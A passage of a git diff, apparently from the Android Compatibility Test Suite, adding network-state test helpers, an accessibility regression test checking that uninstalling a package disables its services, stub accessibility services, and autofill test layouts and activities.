+    boolean isDataSaverEnabled() throws Exception {
+        return SystemUtil
+                .runShellCommand(mInstrumentation, RESTRICT_BACKGROUND_GET_CMD)
+                .contains("enabled");
+    }
+
+    boolean isWiFiConnected() {
+        if (!mWifiManager.isWifiEnabled()) {
+            return false;
+        }
+        final Network network = mConnectivityManager.getActiveNetwork();
+        if (network == null) {
+            return false;
+        }
+        final NetworkCapabilities networkCapabilities =
+                mConnectivityManager.getNetworkCapabilities(network);
+        return networkCapabilities != null && networkCapabilities.hasTransport(TRANSPORT_WIFI);
+    }
+
+    boolean isWifiEnabled() {
+        return mWifiManager.isWifiEnabled();
+    }
+
+    /**
+     * Tries to set all network statuses to {@code enabled}.
+     * However, this does not support ethernet connections.
+     * Confirm that {@link #hasEthernetConnection()} returns false before relying on this.
+     */
+    void setAllNetworksEnabled(boolean enabled) throws Exception {
+        if (mHasWifi) {
+            setWifiState(enabled);
+        }
+        setAirplaneMode(!enabled);
+    }
+
+    void setAirplaneMode(boolean on) throws Exception {
+        if (isAirplaneModeOn() == on) {
+            return;
+        }
+        final CallbackAsserter airplaneModeBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
+        SystemUtil.runShellCommand(mInstrumentation,
+                "cmd connectivity airplane-mode " + (on ? "enable" : "disable"));
+        airplaneModeBroadcastAsserter.assertCalled("Didn't get airplane mode changed broadcast",
+                15 /* 15 seconds */);
+        if (!on && mHasWifi) {
+            // Try to trigger some network connection.
+            setWifiState(true);
+        }
+        waitUntil("Airplane mode didn't change to " + (on ? " on" : " off"), 60 /* seconds */,
+                () -> {
+                    // Airplane mode only affects the cellular network. If the device doesn't
+                    // support cellular, then we can only check that the airplane mode toggle is on.
+                    if (!mHasTelephony) {
+                        return on == isAirplaneModeOn();
+                    }
+                    if (on) {
+                        Network[] networks = mConnectivityManager.getAllNetworks();
+                        for (Network network : networks) {
+                            if (mConnectivityManager.getNetworkCapabilities(network)
+                                    .hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR)) {
+                                return false;
+                            }
+                        }
+                        return true;
+                    } else {
+                        return mConnectivityManager.getActiveNetwork() != null;
+                    }
+                });
+        // Wait some time for the network changes to propagate. Can't use
+        // waitUntil(isAirplaneModeOn() == on) because the response quickly gives the new
+        // airplane mode status even though the network changes haven't propagated all the way to
+        // JobScheduler.
+        Thread.sleep(5000);
+    }
+
+    /**
+     * Ensures that restrict background data usage policy is turned off.
+     * If the policy is on, it interferes with tests that relies on metered connection.
+     */
+    void setDataSaverEnabled(boolean enabled) throws Exception {
+        SystemUtil.runShellCommand(mInstrumentation,
+                enabled ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
+    }
+
+    private void setLocationMode(String mode) throws Exception {
+        Settings.Secure.putString(mContext.getContentResolver(),
+                Settings.Secure.LOCATION_MODE, mode);
+        final LocationManager locationManager = mContext.getSystemService(LocationManager.class);
+        final boolean wantEnabled = !String.valueOf(Settings.Secure.LOCATION_MODE_OFF).equals(mode);
+        waitUntil("Location " + (wantEnabled ? "not enabled" : "still enabled"),
+                () -> wantEnabled == locationManager.isLocationEnabled());
+    }
+
+    void setWifiMeteredState(boolean metered) throws Exception {
+        if (metered) {
+            // Make sure unmetered cellular networks don't interfere.
+            setAirplaneMode(true);
+            setWifiState(true);
+        }
+        final String ssid = getWifiSSID();
+        setWifiMeteredState(ssid, metered ? "true" : "false");
+    }
+
+    // metered should be "true", "false" or "none"
+    private void setWifiMeteredState(String ssid, String metered) {
+        if (metered.equals(getWifiMeteredStatus(ssid))) {
+            return;
+        }
+        SystemUtil.runShellCommand("cmd netpolicy set metered-network " + ssid + " " + metered);
+        assertEquals(getWifiMeteredStatus(ssid), metered);
+    }
+
+    /**
+     * Set Wifi connection to specific state, and block until we've verified
+     * that we are in the state.
+     * Taken from {@link android.net.http.cts.ApacheHttpClientTest}.
+     */
+    void setWifiState(final boolean enable) throws Exception {
+        if (enable != isWiFiConnected()) {
+            NetworkRequest nr = new NetworkRequest.Builder().clearCapabilities().build();
+            NetworkCapabilities nc = new NetworkCapabilities.Builder()
+                    .addTransportType(TRANSPORT_WIFI)
+                    .build();
+            NetworkTracker tracker = new NetworkTracker(nc, enable, mConnectivityManager);
+            mConnectivityManager.registerNetworkCallback(nr, tracker);
+
+            if (enable) {
+                SystemUtil.runShellCommand("svc wifi enable");
+                waitUntil("Failed to enable Wifi", 30 /* seconds */,
+                        this::isWifiEnabled);
+                //noinspection deprecation
+                SystemUtil.runWithShellPermissionIdentity(mWifiManager::reconnect,
+                        android.Manifest.permission.NETWORK_SETTINGS);
+            } else {
+                SystemUtil.runShellCommand("svc wifi disable");
+            }
+
+            tracker.waitForStateChange();
+
+            assertEquals("Wifi must be " + (enable ? "connected to" : "disconnected from")
+                    + " an access point for this test.", enable, isWiFiConnected());
+
+            mConnectivityManager.unregisterNetworkCallback(tracker);
+        }
+    }
+
+    void tearDown() throws Exception {
+        // Restore initial restrict background data usage policy
+        setDataSaverEnabled(mInitialDataSaverState);
+
+        // Ensure that we leave WiFi in its previous state.
+        if (mHasWifi) {
+            if (mInitialWiFiSSID != null) {
+                setWifiMeteredState(mInitialWiFiSSID, mInitialWiFiMeteredState);
+            }
+            if (mWifiManager.isWifiEnabled() != mInitialWiFiState) {
+                try {
+                    setWifiState(mInitialWiFiState);
+                } catch (AssertionFailedError e) {
+                    // Don't fail the test just because wifi state wasn't set in tearDown.
+                    Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
+                }
+            }
+        }
+
+        // Restore initial airplane mode status. Do it after setting wifi in case wifi was
+        // originally metered.
+        if (isAirplaneModeOn() != mInitialAirplaneModeState) {
+            setAirplaneMode(mInitialAirplaneModeState);
+        }
+
+        setLocationMode(mInitialLocationMode);
+    }
+
+    private String unquoteSSID(String ssid) {
+        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
+        // Otherwise it's guaranteed not to start with a quote.
+        if (ssid.charAt(0) == '"') {
+            return ssid.substring(1, ssid.length() - 1);
+        } else {
+            return ssid;
+        }
+    }
+
+    static class NetworkTracker extends ConnectivityManager.NetworkCallback {
+        private static final int MSG_CHECK_ACTIVE_NETWORK = 1;
+        private final ConnectivityManager mConnectivityManager;
+
+        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
+
+        private final NetworkCapabilities mExpectedCapabilities;
+
+        private final boolean mExpectedConnected;
+
+        private final Handler mHandler = new Handler(Looper.getMainLooper()) {
+            @Override
+            public void handleMessage(Message msg) {
+                if (msg.what == MSG_CHECK_ACTIVE_NETWORK) {
+                    checkActiveNetwork();
+                }
+            }
+        };
+
+        NetworkTracker(NetworkCapabilities expectedCapabilities, boolean expectedConnected,
+                ConnectivityManager cm) {
+            mExpectedCapabilities = expectedCapabilities;
+            mExpectedConnected = expectedConnected;
+            mConnectivityManager = cm;
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            // Available doesn't mean it's the active network. We need to check that separately.
+            checkActiveNetwork();
+        }
+
+        @Override
+        public void onLost(Network network) {
+            checkActiveNetwork();
+        }
+
+        boolean waitForStateChange() throws InterruptedException {
+            checkActiveNetwork();
+            return mReceiveLatch.await(60, TimeUnit.SECONDS);
+        }
+
+        private void checkActiveNetwork() {
+            mHandler.removeMessages(MSG_CHECK_ACTIVE_NETWORK);
+            if (mReceiveLatch.getCount() == 0) {
+                return;
+            }
+
+            Network activeNetwork = mConnectivityManager.getActiveNetwork();
+            if (mExpectedConnected) {
+                if (activeNetwork != null && mExpectedCapabilities.satisfiedByNetworkCapabilities(
+                        mConnectivityManager.getNetworkCapabilities(activeNetwork))) {
+                    mReceiveLatch.countDown();
+                } else {
+                    mHandler.sendEmptyMessageDelayed(MSG_CHECK_ACTIVE_NETWORK, 5000);
+                }
+            } else {
+                if (activeNetwork == null
+                        || !mExpectedCapabilities.satisfiedByNetworkCapabilities(
+                        mConnectivityManager.getNetworkCapabilities(activeNetwork))) {
+                    mReceiveLatch.countDown();
+                } else {
+                    mHandler.sendEmptyMessageDelayed(MSG_CHECK_ACTIVE_NETWORK, 5000);
+                }
+            }
+        }
+    }
+}
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 876da5a..9e891ee 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -27,6 +27,7 @@
         "platform-test-annotations",
         "CtsAccessibilityCommon",
         "CtsInputMethodServiceCommon",
+        "sts-device-util",
     ],
     libs: [
         "android.test.runner",
@@ -37,10 +38,12 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     sdk_version: "test_current",
     per_testcase_directory: true,
     data: [
         ":CtsInputMethod1",
+        ":CtsAccessibilityMultipleServicesApp",
         ":CtsAccessibilityWidgetProvider"],
 }
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 3bde0fd..ad7994e 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -27,6 +27,8 @@
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
 
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
          android:requestLegacyExternalStorage="true">
 
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 48aea2c..8096d29 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -24,6 +24,11 @@
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
+        <option name="cleanup" value="true" />
+        <option name="push-file" key="CtsAccessibilityMultipleServicesApp.apk"
+            value="/data/local/tmp/cts/content/CtsAccessibilityMultipleServicesApp.apk" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAccessibilityServiceTestCases.apk" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 5f9733c..52fb4c37 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -17,7 +17,9 @@
 package android.accessibilityservice.cts;
 
 import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
 import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
+import static android.accessibilityservice.AccessibilityServiceInfo.FEEDBACK_ALL_MASK;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithResource;
@@ -76,7 +78,9 @@
 import android.os.Process;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.text.TextUtils;
 import android.util.Log;
@@ -99,6 +103,9 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CtsMouseUtil;
+import com.android.compatibility.common.util.ShellUtils;
+import com.android.compatibility.common.util.TestUtils;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -120,7 +127,7 @@
  * are generated and their correct dispatch verified.
  */
 @RunWith(AndroidJUnit4.class)
-public class AccessibilityEndToEndTest {
+public class AccessibilityEndToEndTest extends StsExtraBusinessLogicTestCase {
 
     private static final String LOG_TAG = "AccessibilityEndToEndTest";
 
@@ -1013,6 +1020,71 @@
         }
     }
 
+    @AsbSecurityTest(cveBugId = {243378132})
+    @Test
+    public void testUninstallPackage_DisablesMultipleServices() throws Exception {
+        final String apkPath =
+                "/data/local/tmp/cts/content/CtsAccessibilityMultipleServicesApp.apk";
+        final String packageName = "foo.bar.multipleservices";
+        final ComponentName service1 = ComponentName.createRelative(packageName, ".StubService1");
+        final ComponentName service2 = ComponentName.createRelative(packageName, ".StubService2");
+        // Match AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
+        final String componentNameSeparator = ":";
+
+        final String originalEnabledServicesSetting = getEnabledServicesSetting();
+
+        try {
+            // Install the apk in this test method, instead of as part of the target preparer, to
+            // allow repeated --iterations of the test.
+            com.google.common.truth.Truth.assertThat(
+                    ShellUtils.runShellCommand("pm install " + apkPath)).startsWith("Success");
+
+            // Enable the two services and wait until AccessibilityManager reports them as enabled.
+            final String servicesToEnable = getEnabledServicesSetting() + componentNameSeparator
+                    + service1.flattenToShortString() + componentNameSeparator
+                    + service2.flattenToShortString();
+            ShellCommandBuilder.create(sInstrumentation)
+                    .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+                            servicesToEnable)
+                    .putSecureSetting(Settings.Secure.ACCESSIBILITY_ENABLED, "1")
+                    .run();
+            TestUtils.waitUntil("Failed to enable 2 services from package " + packageName,
+                    (int) TIMEOUT_SERVICE_ENABLE / 1000,
+                    () -> getEnabledServices().stream().filter(
+                            info -> info.getId().startsWith(packageName)).count() == 2);
+
+            // Uninstall the package that contains the services.
+            com.google.common.truth.Truth.assertThat(
+                    ShellUtils.runShellCommand("pm uninstall " + packageName)).startsWith(
+                    "Success");
+
+            // Ensure the uninstall removed the services from the secure setting.
+            TestUtils.waitUntil(
+                    "Failed to disable services after uninstalling package " + packageName,
+                    (int) TIMEOUT_SERVICE_ENABLE / 1000,
+                    () -> !getEnabledServicesSetting().contains(packageName));
+        } finally {
+            ShellCommandBuilder.create(sInstrumentation)
+                    .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+                            originalEnabledServicesSetting)
+                    .run();
+            ShellUtils.runShellCommand("pm uninstall " + packageName);
+        }
+    }
+
+    private List<AccessibilityServiceInfo> getEnabledServices() {
+        return ((AccessibilityManager) sInstrumentation.getContext().getSystemService(
+                Context.ACCESSIBILITY_SERVICE)).getEnabledAccessibilityServiceList(
+                FEEDBACK_ALL_MASK);
+    }
+
+    private String getEnabledServicesSetting() {
+        final String result = Settings.Secure.getString(
+                sInstrumentation.getContext().getContentResolver(),
+                Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+        return result != null ? result : "";
+    }
+
     private static void assertPackageName(AccessibilityNodeInfo node, String packageName) {
         if (node == null) {
             return;
diff --git a/tests/accessibilityservice/test-apps/MultipleServicesApp/Android.bp b/tests/accessibilityservice/test-apps/MultipleServicesApp/Android.bp
new file mode 100644
index 0000000..d8fdbce
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAccessibilityMultipleServicesApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/accessibilityservice/test-apps/MultipleServicesApp/AndroidManifest.xml b/tests/accessibilityservice/test-apps/MultipleServicesApp/AndroidManifest.xml
new file mode 100644
index 0000000..649478e
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="foo.bar.multipleservices"
+     android:targetSandboxVersion="2">
+    <application>
+        <service android:name="foo.bar.multipleservices.StubService1"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+            </intent-filter>
+            <meta-data android:name="android.accessibilityservice"
+                android:resource="@xml/stub_service"/>
+        </service>
+        <service android:name="foo.bar.multipleservices.StubService2"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+            </intent-filter>
+            <meta-data android:name="android.accessibilityservice"
+                android:resource="@xml/stub_service"/>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/accessibilityservice/test-apps/MultipleServicesApp/res/xml/stub_service.xml b/tests/accessibilityservice/test-apps/MultipleServicesApp/res/xml/stub_service.xml
new file mode 100644
index 0000000..0cbd139
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/res/xml/stub_service.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService1.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService1.java
index 1a335c7..022f6e1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService1.java
@@ -14,9 +14,16 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package foo.bar.multipleservices;
 
-import android.app.Activity;
+import android.accessibilityservice.AccessibilityService;
+import android.view.accessibility.AccessibilityEvent;
 
-public class PocActivity extends Activity {
+/** A stub accessibility service for testing package uninstall. */
+public class StubService1 extends AccessibilityService {
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {}
+
+    @Override
+    public void onInterrupt() {}
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService2.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService2.java
index 1a335c7..28353c2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService2.java
@@ -14,9 +14,16 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package foo.bar.multipleservices;
 
-import android.app.Activity;
+import android.accessibilityservice.AccessibilityService;
+import android.view.accessibility.AccessibilityEvent;
 
-public class PocActivity extends Activity {
+/** A stub accessibility service for testing package uninstall. */
+public class StubService2 extends AccessibilityService {
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {}
+
+    @Override
+    public void onInterrupt() {}
 }
diff --git a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
index 452530e..1b03bd0 100644
--- a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
+++ b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
@@ -92,7 +92,7 @@
     }
 
     @Test
-    @Ignore("b/236292909")
+    @Ignore("b/252781795")
     fun closeToSender_displaysChip() {
         statusBarManager.updateMediaTapToTransferReceiverDisplay(
             StatusBarManager.MEDIA_TRANSFER_RECEIVER_STATE_CLOSE_TO_SENDER,
@@ -108,7 +108,7 @@
     }
 
     @Test
-    @Ignore("b/236292909")
+    @Ignore("b/252781795")
     fun farFromSender_hidesChip() {
         // First, make sure we display the chip
         statusBarManager.updateMediaTapToTransferReceiverDisplay(
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 29db5b5..9abb68d 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -151,6 +151,7 @@
             </intent-filter>
         </activity>
         <activity android:name=".activities.FadeInActivity"/>
+        <activity android:name=".activities.MultipleStepsSignInActivity"/>
         <activity android:name=".activities.FieldsNoPasswordActivity"/>
         <activity android:name=".activities.AugmentedAuthActivity" />
         <activity android:name=".activities.SimpleAfterLoginActivity"/>
diff --git a/tests/autofillservice/res/layout/multiple_steps_activity.xml b/tests/autofillservice/res/layout/multiple_steps_activity.xml
new file mode 100644
index 0000000..df00cfa
--- /dev/null
+++ b/tests/autofillservice/res/layout/multiple_steps_activity.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <TextView
+        android:id="@+id/status"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <LinearLayout
+        android:id="@+id/container"
+        android:layout_width="match_parent"
+        android:layout_height="200dp"
+        android:orientation="horizontal">
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal">
+
+        <Button
+            android:id="@+id/prev"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="PREV" />
+
+        <Button
+            android:id="@+id/next"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="NEXT" />
+
+        <Button
+            android:id="@+id/finish"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="FINISH" />
+    </LinearLayout>
+
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/password.xml b/tests/autofillservice/res/layout/password.xml
new file mode 100644
index 0000000..39d60d6
--- /dev/null
+++ b/tests/autofillservice/res/layout/password.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="horizontal" >
+
+    <TextView
+        android:id="@+id/password_label"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Password" />
+
+    <EditText
+        android:id="@+id/password"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:inputType="textPassword"
+        android:textCursorDrawable="@android:color/transparent"
+        android:imeOptions="flagNoFullscreen" />
+
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/username.xml b/tests/autofillservice/res/layout/username.xml
new file mode 100644
index 0000000..a77a1d3
--- /dev/null
+++ b/tests/autofillservice/res/layout/username.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="horizontal" >
+
+    <TextView
+        android:id="@+id/username_label"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Username" />
+
+    <EditText
+        android:id="@+id/username"
+        android:minEms="2"
+        android:maxEms="5"
+        android:maxLength="25"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:textCursorDrawable="@android:color/transparent"
+        android:imeOptions="flagNoFullscreen" />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
index 70e04b7..af30990 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
@@ -28,6 +28,7 @@
 import android.os.Bundle;
 import android.view.PixelCopy;
 import android.view.View;
+import android.view.WindowInsets;
 import android.view.autofill.AutofillManager;
 
 import androidx.annotation.NonNull;
@@ -183,4 +184,11 @@
     public void clearFocus() {
         throw new UnsupportedOperationException("Not implemented by " + getClass());
     }
+
+    /**
+     * Get insets of the root window
+     */
+    public WindowInsets getRootWindowInsets() {
+        return getWindow().getDecorView().getRootWindowInsets();
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
index 891cbe9..b9b2717 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -28,7 +28,6 @@
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.view.ViewGroup;
-import android.view.WindowInsets;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.Button;
 import android.widget.EditText;
@@ -391,13 +390,6 @@
     }
 
     /**
-     * Get insets of the root window
-     */
-    public WindowInsets getRootWindowInsets() {
-        return mUsernameLabel.getRootWindowInsets();
-    }
-
-    /**
      * Request to hide soft input
      */
     public void hideSoftInput() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultipleStepsSignInActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultipleStepsSignInActivity.java
new file mode 100644
index 0000000..3bf4f87
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultipleStepsSignInActivity.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
